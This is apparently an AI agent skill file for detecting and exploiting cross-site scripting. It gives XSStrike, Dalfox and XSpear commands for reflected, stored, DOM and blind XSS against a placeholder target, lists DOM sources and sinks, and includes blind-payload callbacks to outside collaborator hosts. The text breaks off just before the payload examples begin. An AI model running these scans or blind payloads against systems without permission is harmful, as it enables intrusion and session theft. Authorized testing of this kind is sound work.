---
name: exploit-xss
description: Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.
---
# Cross-Site Scripting (XSS) Detection Skill
## ⚠️ DANGER - Authorization Required
**This skill is for AUTHORIZED SECURITY TESTING ONLY.**
You must have:
- Written permission from the target system owner
- Legal authorization to test the target
- A defined scope of testing
Unauthorized XSS testing is ILLEGAL and unethical.
---
## Prerequisites
### Required Tools
```bash
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike
# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest
# XSpear - XSS testing with WAF bypass
gem install xspear
```
### Python Requirements
```bash
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4
# Optional: WebSocket XSS testing
pip install websockets
```
### Optional Tools
```bash
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
```
---
## Quick Start
### Basic URL Testing
```bash
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"
# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
```
### POST Request Testing
```bash
# Save POST request to file
dalfox file request.txt
# Or use XSStrike
python xsstrike.py -r request.txt
```
### DOM XSS Testing
```bash
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom
# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom
```
---
## Common Scenarios
### 1. Basic Parameter Testing (Reflected XSS)
Test URL parameters for reflection and injection:
```bash
# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"
# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"
# Specify parameter
dalfox url "https://target.com/search" -p q
```
**What to check:**
- Does the input reflect in the HTML response?
- What is the context (HTML tag, attribute, JavaScript)?
- Are there any filters/encoding applied?
### 2. POST Request XSS (Form Testing)
Test POST forms for stored/reflected XSS:
```bash
# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
# Test with XSStrike
python xsstrike.py -r post_request.txt
# Test with Dalfox
dalfox file post_request.txt
```
**Common POST targets:**
- Login forms (username, email fields)
- Contact forms (name, message fields)
- Search forms
- Comment forms
- User profile updates
### 3. Cookie and Header XSS
Test HTTP headers and cookies for injection:
```bash
# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user="
# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent ""
# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/"
```
**Headers to test:**
- User-Agent (check application logs/error pages)
- Referer (check 404 pages, analytics)
- X-Forwarded-For (check IP reflection)
- Cookie (check welcome messages/logs)
### 4. Reflected XSS Detection
Identify reflection points and test payloads:
```bash
# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery
# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind
```
**Detection techniques:**
- Compare response length with/without payload
- Search for payload in response HTML
- Check for encoding/filtering patterns
- Identify HTML context (tag, attribute, JS, CSS)
### 5. Stored XSS Testing (Database Persistence)
Test for XSS that persists in the database:
```bash
# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
# Test user profile fields
python xsstrike.py -r profile_update_request.txt
# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&email=test@test.com&message=payload"
```
**Stored XSS targets:**
- User profiles (name, bio, location)
- Comments/Reviews
- Forum posts
- Email/contact forms (admin panel XSS)
- File upload metadata
### 6. DOM XSS Discovery
Find client-side XSS vulnerabilities:
```bash
# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom
# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom
# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"
```
**Common DOM sources:**
- `location.hash`
- `location.search`
- `document.cookie`
- `document.referrer`
- `window.name`
**Common DOM sinks:**
- `innerHTML`
- `document.write()`
- `eval()`
- `location.href`
- `setTimeout()` / `setInterval()`
### 7. Blind XSS in Forms (Contact/Admin XSS)
Test XSS in forms that execute in admin panels:
```bash
# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message="
```
**Blind XSS testing tips:**
- Use unique payloads per test (to identify which parameter is vulnerable)
- Use Burp Collaborator or interactsh for callbacks
- Test email contact forms (executes when admin opens email)
- Test support ticket systems
### 8. Context-Aware Payloads
Use payloads specific to the injection context:
```bash
# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url
```
**Context-specific payloads:**
**HTML Body/Tag:**
```html